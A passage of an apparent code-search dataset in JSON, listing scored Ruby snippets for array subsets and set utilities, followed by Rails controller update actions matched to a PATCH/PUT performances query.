"docid": "9bcaf7941eea3d88f4896801669e4b89",
"score": "0.53795236",
"text": "def multipleSet(n)\n return (n..99).step(n).to_a.to_set\nend",
"title": ""
},
{
"docid": "faeb1a174a6787385c08f52117fea1c2",
"score": "0.5374919",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n sub = subsets(arr[0...-1])\n newsub = sub.map { |ele| ele + [arr.last] } \n sub + newsub\n\n\n# sub + arr[-1]\nend",
"title": ""
},
{
"docid": "3d5185c37ddad2fbde52d38a643d800e",
"score": "0.5371208",
"text": "def subsets(arr)\n # return an empty array (tech a subset of an empty array) - base case\n return [[]] if arr.empty?\n # take out the last el\n last = arr[-1]\n # take all the other els\n # find all subsets don't have the last element\n subsets_without_last = subsets(arr[0...-1])\n # create an array with a combo of s (the el) & the last ele in arr\n # find all subsets that have the last element\n subsets_with_last = subsets_without_last.map { |s| s.dup << last }\n # merge with prior subsets\n # all subsets of arr either have the last element, or they don't.\n subsets_without_last + subsets_with_last\nend",
"title": ""
},
{
"docid": "077b7ca98f9ae2e9b76c5aea7c72166d",
"score": "0.5360536",
"text": "def maesb_generate_equip_set\n @maesb_belongs_to_sets = []\n end",
"title": ""
},
{
"docid": "b6d1855c7dfe4257cde96be441ef6cc4",
"score": "0.53592604",
"text": "def to_set\n a = Set.new\n @index.each_value do |s|\n s.each do |t|\n a << t\n end\n end\n a\n end",
"title": ""
},
{
"docid": "9ced13325b7f4bb78a35f0ab58d6e636",
"score": "0.5358756",
"text": "def set_discounts_arr\n cart.discounts.where(kind: 'set').map { |set| set[:product_ids].push(set[:id].to_s + 's') }\n end",
"title": ""
},
{
"docid": "98b2a756ed3f2ab644d6e8f741aaf8a5",
"score": "0.5355689",
"text": "def array_subsets(arr)\n return arr if arr.length == 0 || arr.length == 1\n new_arr = []\n new_arr << [arr[0]] + array_subsets(arr[1..-1])\n \n # length = 1\n # new_arr = [[]]\n # while length <= arr.length\n # arr.each do |el|\n # new_arr << Array.new(length) { el }\n # end\n # length += 1\n # end\nend",
"title": ""
},
{
"docid": "f545681db664930d3f4a7ca1e33967fd",
"score": "0.53502405",
"text": "def subsets(nums)\n return [[]] if nums.empty?\n return [[],[nums.first]] if nums.size == 1\n [[], (0...nums.size).map {|x|\n [[nums[x]], subsets(nums[x + 1..-1]).map { |y| [nums[x]] + y }]\n }.flatten]\nend",
"title": ""
},
{
"docid": "d597a59040fcc61014c187134ef878be",
"score": "0.5348913",
"text": "def subsets(arr)\n return [[]] if arr == [] \n\n new_arr = []\n last = arr[-1]\n subset = subsets(arr[0..-2])\n\n subset.each do |suba|\n new_arr << suba + [last]\n end\n \n subset + new_arr\n\nend",
"title": ""
},
{
"docid": "c86c5dcdd8bf8437a653e6db40a56ad1",
"score": "0.5345939",
"text": "def magic_array(ma)\nma.flatten.sort.map{|n|n*2}.uniq.delete_if{|n|n%3==0}\nend",
"title": ""
},
{
"docid": "cf3565e368921098cc809b69121ad9cc",
"score": "0.53452826",
"text": "def unique_transpositions\n @words.map {|word| PitchClassSet.new(word)}\n end",
"title": ""
},
{
"docid": "a285082a29d1d08ae6cbaa71aeeeba66",
"score": "0.5339671",
"text": "def edge_array\n\t\t\t to_return = @responses.collect { |item| item.sollutions }\n\t\t\t return to_return\n\t\tend",
"title": ""
},
{
"docid": "d1295d26b978e62e45500f3567badc33",
"score": "0.5335042",
"text": "def group_braille_arrays\n get_braille_arrays.each_slice(3).to_a\n end",
"title": ""
},
{
"docid": "f8580d181b5bd2a838992c8ca68b4438",
"score": "0.53285587",
"text": "def subsets(arr)\n return [arr] unless arr.is_a?(Array)\n return [arr] if arr.empty?\n\n # return [arr] if arr.length == 1\n # first = arr.shift\n # all_subsets << subsets(first)\n # all_subsets << subsets(arr)\n\n # [[],[1]] << [2],[1,2] [each, last] << [last] [each,last]\n # subsets(arr-1) << subsets(arr)[-1]\n all_subsets = [[]]\n\n arr.each { |ele| all_subsets << [ele] }\n\n (0...(arr.length - 1)).each do |idx1|\n # all_subsets << [arr[idx1]] unless all_subsets.include?(arr[idx1])\n (1...arr.length).each do |idx2|\n if idx2 > idx1 && !all_subsets.include?(arr[idx2])\n # all_subsets << [arr[idx2]]\n all_subsets << arr[idx1..idx2]\n end\n end\n end\n\n all_subsets\nend",
"title": ""
},
{
"docid": "3f3a82648fba6da50c3dfea430c26947",
"score": "0.53237396",
"text": "def second_challenge\n groceries = {\n dairy: [\"milk\", \"yogurt\", \"cheese\"],\n vegetable: [\"carrots\", \"broccoli\", \"cucumbers\"],\n meat: [\"chicken\", \"steak\", \"salmon\"],\n grains: [\"rice\", \"pasta\"]\n }\n\n groceries.values.flatten\n\n\nend",
"title": ""
},
{
"docid": "f08836990b3b37ddadf45ae4ac3c053a",
"score": "0.5314445",
"text": "def collect_three_set(*value)\n\n new_set = @dice_cup.group_by { |i| i }\n\n if value.length.zero?\n new_set.each do |k, v|\n if v.length >= 3\n remove_three_and_score(k, v)\n end\n end\n\n elsif value.length == 1\n new_set.each do |k, v|\n if v.length >= 3 && k == value.first\n remove_three_and_score(k, v)\n end\n end\n end\n\n # Set everything back in order\n @dice_cup.clear\n new_set.each_value{ |v| @dice_cup << v } # Shovel them in!!!\n @dice_cup.flatten!\n end",
"title": ""
},
{
"docid": "1164f0e8614ed2952a4de9789e99c3eb",
"score": "0.5278842",
"text": "def simbolizza!\n self.map! do |element|\n if element.is_a? Hash or element.is_a? Array\n element.simbolizza!\n else\n element\n end\n end\n self\n end",
"title": ""
},
{
"docid": "18cfaed22f80e26bde1d40cfc1c0147e",
"score": "0.5275538",
"text": "def generate_n_sets(array, number_of_sets)\n\nend",
"title": ""
},
{
"docid": "57e935eebe6f3b235a825fdf13cad30f",
"score": "0.5273865",
"text": "def generate_random_array \n big_array = []\n i = set_array_size.to_i\n \n while i >= 1 \n big_string = (0...50).map { ('a'..'z').to_a[rand(26)] }.join\n big_array << big_string\n i = i - 1 \n end\n big_array \n end",
"title": ""
},
{
"docid": "ea29f5c358ad7887c57db4b3cdeb8524",
"score": "0.52687067",
"text": "def subsets(array)\n if array.length <= 1\n return array\n end\n subset_array = []\n (0..array.length - 1).each do |i|\n subset_array << subsets(array[0...i]) << subsets(array[0...i]).concat([array[-1]])\n end\n return subset_array\nend",
"title": ""
},
{
"docid": "45f87f484d32ee1929b93e500279ce67",
"score": "0.5265204",
"text": "def subsets(nums)\n return [[]] if nums.empty?\n first = nums[0]\n prev_subs = subsets(nums[1..-1])\n new_subs = prev_subs.map do |sub|\n sub + [first]\n end \n prev_subs + new_subs\nend",
"title": ""
},
{
"docid": "28e5dfda6080131fcb0b1656db6b8f3e",
"score": "0.52612025",
"text": "def valid_table(table_array)\n\n valid_set = Array[]\n for card1 in 0...table_array.length\n for card2 in 0...table_array.length\n if(card1 == card2) #skip if same card\n next\n end\n\n for card3 in 0...table_array.length\n\n if card2 == card3 or card1 == card3 #skip if same card\n next\n end\n\n if is_a_set?([table_array[card1], table_array[card2], table_array[card3]])\n #found valid set\n valid_set[0] = card1\n valid_set[1] = card2\n valid_set[2] = card3\n break\n end\n\n end\n end\n end\n\n return valid_set\nend",
"title": ""
},
{
"docid": "fd76f309ef52be6642a50df455b37639",
"score": "0.52476174",
"text": "def get_matrix_of_possibilities(problem_set)\n possibilities = []\n\n problem_set.item_prices.each do |price|\n possibilities << find_possible_quantities(price, problem_set.total)\n end\n\n possibilities = possibilities[0].product(*possibilities[1..-1])\n possibilities\n end",
"title": ""
},
{
"docid": "5a921b7bdd43c4707d68fc39b63b8ef1",
"score": "0.52466536",
"text": "def converted_arrays; end",
"title": ""
},
{
"docid": "88ef0020ba63af2c948f23455f673925",
"score": "0.5245698",
"text": "def embiggen_grouped_results(values)\n embiggened_results = []\n values.each do |resultset|\n container = {} \n resultset.each do |set|\n data = {}\n set.data.each do |key, value|\n if value.kind_of? Hash\n if value.empty?\n value = []\n else \n value = [value] if value.kind_of? Hash\n end\n end\n data[key] = value\n end\n container.merge!(data) do |key, old, nue|\n if old.kind_of? Array\n old.push nue.first\n else\n nue\n end \n end\n end\n embiggened_results.push container\n end\n\n embiggened_results\n end",
"title": ""
},
{
"docid": "9abb03dc37c264012be66d6f7268d58d",
"score": "0.5226653",
"text": "def array_subsets(arr)\n return [[]] if arr.empty?\n partial_subset = array_subsets(arr[0..-2])\n addition = partial_subset.map {|ele| ele + [arr[-1]]}\n partial_subset + addition\nend",
"title": ""
},
{
"docid": "dab064122f273e8475bb1893bc1105d8",
"score": "0.5209906",
"text": "def constituent_uris\n Array.wrap(constituents).uniq.delete_if(&:empty?)\n end",
"title": ""
},
{
"docid": "563c1e4ec85ff73b3268a88f41ea0bba",
"score": "0.5208965",
"text": "def get_set(key_size, unique_values)\n unique_values.repeated_permutation(key_size).to_a\nend",
"title": ""
},
{
"docid": "bdd1f5f92478248a0a48d63decede7fc",
"score": "0.52005905",
"text": "def subsets(array)\n\n return [[]] if array == []\n all_but_last = subsets(array[0...array.length - 1].dup)\n last = array.last\n all_but_last.map { |el| el.dup } + all_but_last.map { |el| el << last }\nend",
"title": ""
},
{
"docid": "425f9078356b86bc86b9eff42d21870f",
"score": "0.5200523",
"text": "def find_duplicates_set_approach(array)\n duplicates = []\n set = Set.new(array)\n \n set\n \nend",
"title": ""
},
{
"docid": "28af0304ff96f7a6b7f4805193946ac2",
"score": "0.51914",
"text": "def subsets(arr)\n # byebug\n return [arr] if arr.empty?\n\n if arr.length.odd?\n mid_idx = arr.length / 2\n else\n mid_idx = arr.length / 2 - 1\n end\n# byebug\n with_last = subsets(arr[1..-1])\n # byebug\n without_last = subsets(arr[0...-1])\n # byebug\n combined1 = subsets(arr[0...mid_idx] + arr[mid_idx + 1..-1])\n # combined2 = subsets(arr[0..mid_idx] + arr[mid_idx + 2..-1]) # this didn't work. still missing [1, 2, 4] with [1, 2, 3, 4] original input\n# byebug\n output = without_last + combined1 + with_last + [arr] # combined2\n output.uniq\nend",
"title": ""
},
{
"docid": "44743eafcadb2c9b5abff972448813df",
"score": "0.518155",
"text": "def subarray_bitwise_o_rs(a)\n result_set = Set.new()\n a.size.times do |i|\n (1..a.size-i).each do |length|\n subarray = a[i, length]\n #puts subarray.inspect\n result = subarray.reduce(0) do |bor, elem|\n bor | elem\n end\n #puts result\n result_set << result\n end\n end\n result_set.size\nend",
"title": ""
}
] |
fa4efa9bcdc62341451bcc0ca79a1536
|
PATCH/PUT /performances/1 PATCH/PUT /performances/1.json
|
[
{
"docid": "ece0d1b629cf81703cc15c88dff295e4",
"score": "0.70051265",
"text": "def update\n respond_to do |format|\n if @performance.update(performance_params)\n format.html { redirect_to @performance, notice: 'Performance was successfully updated.' }\n format.json { render :show, status: :ok, location: @performance }\n else\n format.html { render :edit }\n format.json { render json: @performance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3714bfa1fd0f7aa3bf7f79dccffc8ded",
"score": "0.66480845",
"text": "def update\n @performance_test = PerformanceTest.find(params[:id])\n\n respond_to do |format|\n if @performance_test.update_attributes(params[:performance_test])\n format.html { redirect_to @performance_test, :notice => 'Performance test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @performance_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3990aa7f9360648cbfc0246ac9c64654",
"score": "0.64342356",
"text": "def update\n respond_to do |format|\n if @performance.update(performance_params)\n format.html { render partial: 'performances/ajax_show', locals: {performance: @performance} }\n else\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "8d6a61f3186174209e44862cb0ae05d7",
"score": "0.6269294",
"text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"title": ""
},
{
"docid": "e2db90d51e415968903b0584c0b1e74c",
"score": "0.6263476",
"text": "def update\n respond_to do |format|\n if @performance_chart.update(performance_chart_params)\n format.html { redirect_to @performance_chart, notice: 'Performance chart was successfully updated.' }\n format.json { render :show, status: :ok, location: @performance_chart }\n else\n format.html { render :edit }\n format.json { render json: @performance_chart.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "576f27e4c99d0868b0454fedc7deba0c",
"score": "0.6167953",
"text": "def update # PATCH\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "4723ebd5cefececf7933e07f8360274e",
"score": "0.6125208",
"text": "def update\n respond_to do |format|\n if @metric_speedtest.update(metric_speedtest_params)\n format.html { redirect_to @metric_speedtest, notice: 'Metric speedtest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @metric_speedtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3917efd3576f4c25363988f0201ba414",
"score": "0.60674655",
"text": "def update\n respond_to do |format|\n if @radio_performance.update(radio_performance_params)\n format.html { redirect_to @radio_performance, notice: 'Radio performance was successfully updated.' }\n format.json { render :show, status: :ok, location: @radio_performance }\n else\n format.html { render :edit }\n format.json { render json: @radio_performance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85d2ed02d760acd40f7badcfec78a18a",
"score": "0.6027317",
"text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"title": ""
},
{
"docid": "d35d8f94e9bdaef44fa0db785a688b02",
"score": "0.60229045",
"text": "def update\n respond_to do |format|\n if @performance_evaluation.update(performance_evaluation_params)\n format.html { redirect_to @performance_evaluation, notice: 'Performance evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @performance_evaluation }\n else\n format.html { render :edit }\n format.json { render json: @performance_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "faab0e7934a9f2c51518c795dd8a2689",
"score": "0.60059935",
"text": "def update\n @bowling_performance = BowlingPerformance.find(params[:id])\n\n respond_to do |format|\n if @bowling_performance.update_attributes(params[:bowling_performance])\n format.html { redirect_to(@bowling_performance, :notice => 'Bowling performance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bowling_performance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d9d4317d82b6e67a8fdf51bbcfe71a7",
"score": "0.59559155",
"text": "def update\n @mriperformance = Mriperformance.find(params[:id])\n\n respond_to do |format|\n if @mriperformance.update(mriperformance_params)#params[:mriperformance], :without_protection => true)\n format.html { redirect_to(@mriperformance, :notice => 'Mriperformance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mriperformance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7663d0348b74542ff1d2f4fd96156fe",
"score": "0.59541434",
"text": "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"title": ""
},
{
"docid": "855f81d29ee8ff100cfefb3479cedcdd",
"score": "0.5953236",
"text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "63f7af79fc170063fe31f54b55d65e7c",
"score": "0.59305227",
"text": "def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"title": ""
},
{
"docid": "7f4c9f09849590d86489bf3e6aa34496",
"score": "0.5892835",
"text": "def update\n authorize! :manage, @vspec\n\n respond_to do |format|\n if @vspec.update(vspec_params)\n format.html { redirect_to [@vspec.metric, @vspec], notice: 'Vspec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d1a28596f27b3856e12dceb7400ebad1",
"score": "0.58893704",
"text": "def update\n respond_to do |format|\n if @dor_variant_performance.update(dor_variant_performance_params)\n format.html { redirect_to @dor_variant_performance, notice: 'Dor variant performance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dor_variant_performance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4ef989d8743bdf8c57e55d4d894dddc",
"score": "0.584518",
"text": "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"title": ""
},
{
"docid": "00ea0b9baf4f983c8991b833371f833d",
"score": "0.58086324",
"text": "def update\n metric.update_attributes(update_params)\n\n respond_with(metric)\n end",
"title": ""
},
{
"docid": "a646cfc3c6e897f23aa2d42c7906de56",
"score": "0.5801831",
"text": "def update\n respond_to do |format|\n if @tracing.update(tracing_params)\n format.html { redirect_to @tracing }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tracing.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c1e21cb90fc3c75e4d06f52bf03a3b9",
"score": "0.5758244",
"text": "def update\n @local_cpu_summary = LocalCpuSummary.find(params[:id])\n\n respond_to do |format|\n if @local_cpu_summary.update_attributes(params[:local_cpu_summary])\n format.html { redirect_to @local_cpu_summary, :notice => 'Local cpu summary was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @local_cpu_summary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81aaed52cd0456c809e046a98c4de79f",
"score": "0.5757907",
"text": "def update\n @timing = Timing.find(params[:id])\n if @timing.update_attributes(params[:timing].slice(:start, :stop, :days, :active))\n render json: @timing\n else\n render json: { error: 'error: could not update timing' }\n end\n end",
"title": ""
},
{
"docid": "765d7164cee41701ef01fb20d8645882",
"score": "0.5753831",
"text": "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"title": ""
},
{
"docid": "566b79a755478221953c8e53a0770812",
"score": "0.57389414",
"text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"title": ""
},
{
"docid": "566b79a755478221953c8e53a0770812",
"score": "0.57389414",
"text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"title": ""
},
{
"docid": "54f95a361000b6219275e377b8bf4555",
"score": "0.5738696",
"text": "def update options={}\n client.put(\"/#{id}\", options)\n end",
"title": ""
},
{
"docid": "635c4b1edb7f1a723c35bc37050570fe",
"score": "0.57307667",
"text": "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"title": ""
},
{
"docid": "7961ba1d763ad0d47914ddcbcf089d8e",
"score": "0.57294494",
"text": "def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"title": ""
},
{
"docid": "0bb7608514ecec423e08eeebe600d68b",
"score": "0.57145005",
"text": "def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = if @resource\n DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user) # update dataset\n else\n DatasetParser.new(hash: params['dataset'], user: @user, id_string: params[:id]) # upsert dataset with identifier\n end\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"title": ""
},
{
"docid": "74a644257224417cf75fed8fcd1f1629",
"score": "0.570694",
"text": "def patch_resource(payload)\n execute(resource_path, method: :patch, payload: payload.to_json)\n end",
"title": ""
},
{
"docid": "f428de7e796d0a27fd38e8d1a64f1e4c",
"score": "0.5684235",
"text": "def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "5adc84108041fc20af9e6b44aadfea8c",
"score": "0.56821007",
"text": "def update\n respond_to do |format|\n if @terra_nova_test_benchmark.update(terra_nova_test_benchmark_params)\n format.html { redirect_to @terra_nova_test_benchmark, notice: 'Terra nova test benchmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @terra_nova_test_benchmark }\n else\n format.html { render :edit }\n format.json { render json: @terra_nova_test_benchmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4dbda3413b874f7e247607bc5c859be",
"score": "0.56704974",
"text": "def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "98ffa158acbf02cbf2dc20af8c117e34",
"score": "0.5665205",
"text": "def update\n put :update\n end",
"title": ""
},
{
"docid": "c14d150fffadad858f44f395661920f1",
"score": "0.5660802",
"text": "def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"title": ""
},
{
"docid": "4e0e59715d19dce2a47fccc2c67326dd",
"score": "0.56544405",
"text": "def patch!\n request! :patch\n end",
"title": ""
},
{
"docid": "f1f33b87e30d1e5a560bd5a12db6306f",
"score": "0.5647998",
"text": "def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end",
"title": ""
},
{
"docid": "033854704d271895aa5b71c59c2c6520",
"score": "0.56134737",
"text": "def update\n respond_to do |format|\n if @tap.update(tap_params)\n format.html { redirect_to taps_path, notice: 'Tap was successfully updated.' }\n format.json { head :no_content }\n else\n format.json { render json: @tap.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0fe72dcd0b1987748d59aaac652506e",
"score": "0.5612744",
"text": "def update\n if @measure.update(measure_params)\n head :no_content\n else\n render json: @measure.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7d78567b351dd4ef61a8a72b045b9093",
"score": "0.5607104",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @metrics = args[:metrics] if args.key?(:metrics)\n @metrics_schema_uri = args[:metrics_schema_uri] if args.key?(:metrics_schema_uri)\n @model_explanation = args[:model_explanation] if args.key?(:model_explanation)\n @name = args[:name] if args.key?(:name)\n @slice = args[:slice] if args.key?(:slice)\n end",
"title": ""
},
{
"docid": "fc30dad73497718dc5bc1f192ccbebe2",
"score": "0.55955493",
"text": "def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"title": ""
},
{
"docid": "7cbcb2cda6e100042f124dacd474f3be",
"score": "0.5592814",
"text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "a7d90374eb77ad8dd9b96ee24a3a1b3a",
"score": "0.55894893",
"text": "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end",
"title": ""
},
{
"docid": "50bded545a63f526c8d78b55dd019e9c",
"score": "0.55874467",
"text": "def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4bf99e432659ab9fd8f9f04bd1f67d47",
"score": "0.55839443",
"text": "def update\n @sprint.update!(sprint_params)\n json_response(@sprint)\n end",
"title": ""
},
{
"docid": "d46c7869013d3100b0344461a44764e6",
"score": "0.5581793",
"text": "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "77d02b3797daab1f282ddbbba5153908",
"score": "0.5579402",
"text": "def set_performance\n @performance = Performance.find(params[:id])\n end",
"title": ""
},
{
"docid": "77d02b3797daab1f282ddbbba5153908",
"score": "0.5579402",
"text": "def set_performance\n @performance = Performance.find(params[:id])\n end",
"title": ""
},
{
"docid": "77d02b3797daab1f282ddbbba5153908",
"score": "0.5579402",
"text": "def set_performance\n @performance = Performance.find(params[:id])\n end",
"title": ""
},
{
"docid": "77d02b3797daab1f282ddbbba5153908",
"score": "0.5579402",
"text": "def set_performance\n @performance = Performance.find(params[:id])\n end",
"title": ""
},
{
"docid": "73a356142cba45edbe54624606065a55",
"score": "0.5579114",
"text": "def update\n logger.info { \"PARAMS: #{params.inspect}\" }\n project_id, id = params[:id].split('-')\n ticket = Lighthouse::Ticket.find(id, :params => {:project_id => project_id})\n \n # insanely hacky. can't nest json, so don't want to do a willy-nilly merge.\n # move mergeable params to the [:ticket] hash to follow usual rails conventions\n # before merging\n params[:ticket] = {}\n %w(assigned_user_id state milestone_id).each do |field|\n params[:ticket].merge!( field => params.delete(field) ) if params[field]\n end\n logger.info { \"TICKET ATTRS TO UPDATE: #{params[:ticket].inspect}\"}\n \n ticket.attributes.merge!( params[:ticket] )\n ticket.save\n\n respond_to do |format|\n # if @ticket.update_attributes(params[:ticket])\n # flash[:notice] = 'Ticket was successfully updated.'\n # format.html { redirect_to(@ticket) }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"title": ""
},
{
"docid": "a841bc737d89b666379a4525e9ca7c08",
"score": "0.5573356",
"text": "def update!(**args)\n @api_method_name = args[:api_method_name] if args.key?(:api_method_name)\n @counter = args[:counter] if args.key?(:counter)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n end",
"title": ""
},
{
"docid": "60b5cb8fb847dd93ceb34239797ad186",
"score": "0.5571272",
"text": "def update\n start_time = Time.now\n cpu_cores_number = check_cpu\n do_something(cpu_cores_number)\n end_time = Time.now\n respond_to do |format|\n if @post.update(body: end_time - start_time, title: \"cores were used: #{cpu_cores_number}\")\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b06e17a6ee3195795af4a38c911c058f",
"score": "0.5569388",
"text": "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"title": ""
},
{
"docid": "a58668820553a17d31e2cc77feeda8ea",
"score": "0.55640084",
"text": "def update\n @hit = Hit.find(params[:id])\n\n respond_to do |format|\n if @hit.update_attributes(params[:hit])\n format.html { redirect_to @hit, notice: 'Hit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hit.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb88fef9ffa0d872f40dcfb6a7c29bc5",
"score": "0.5561985",
"text": "def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"title": ""
},
{
"docid": "9d688c167523c67c5c50d10c3c306d9c",
"score": "0.55606556",
"text": "def update\n @task_metric = TaskMetric.find(params[:id])\n\n respond_to do |format|\n if @task_metric.update_attributes(params[:task_metric])\n format.html { redirect_to @task_metric, :notice => 'Task metric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task_metric.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "982351d94a6bf2bede6acac57fc7aed0",
"score": "0.5551042",
"text": "def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end",
"title": ""
},
{
"docid": "593a44661145186c50e85fe3c02ffd96",
"score": "0.55471385",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "593a44661145186c50e85fe3c02ffd96",
"score": "0.55471385",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "2cd2eb10b40ea21f2d11fbb57f739126",
"score": "0.55464166",
"text": "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9a135c367d43e6842335313f34c5e82",
"score": "0.5544481",
"text": "def update\n @hit_value = HitValue.find(params[:id])\n\n respond_to do |format|\n if @hit_value.update_attributes(params[:hit_value])\n format.html { redirect_to @hit_value, notice: 'Hit value was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hit_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00386247fc817cbd4d29846576aa748f",
"score": "0.55439496",
"text": "def update\n respond_to do |format|\n if @vehicle_realtime.update(vehicle_realtime_params)\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_realtime }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53e726d529811430dc435b4f28f6f37a",
"score": "0.55369115",
